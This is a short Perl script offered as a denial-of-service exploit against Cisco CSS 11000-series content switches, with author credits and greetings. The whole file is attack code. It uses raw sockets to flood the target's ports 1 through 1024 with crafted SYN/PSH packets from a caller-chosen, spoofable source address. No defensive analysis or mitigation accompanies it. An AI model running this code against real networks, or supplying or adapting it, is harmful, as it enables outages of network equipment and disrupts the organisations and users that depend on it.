#!/usr/bin/perl
#Cisco CSS 11000, 11050,11150,11800 with chassis cs800 DOS..
#found by s21sec they're find, my code ;)
#deadbeat
#e: daniels@legend.co.uk
#e: deadbeat@sdf.lonestar.org
#greetz: dyn0, c0w,gw01f and my company fro employing me...

use Net::RawIP;

$s_addr = $ARGV[0];
$vic = $ARGV[1];
print "\ncisco CSS DOS..found by s21sec, code by deadbeat\n";
if(!$ARGV[1]){
	die "usage: perl $0 <source addr> <target>\n";
}
@ports =(1..1024);
sub packet{
	print "commencing with packetting..\n";
	$port= shift(@ports);
	$p = new Net::RawIP;
	$p->set({ip => {saddr => $s_addr,daddr => $vic},
		    tcp => {source => 31337,dest => $port,psh => 1, syn => 1}}); #leet, my mum would be soo proud..lool
	$p->send(0.05,150);
}

for($i=0;$i<10;$i++){
	packet;
}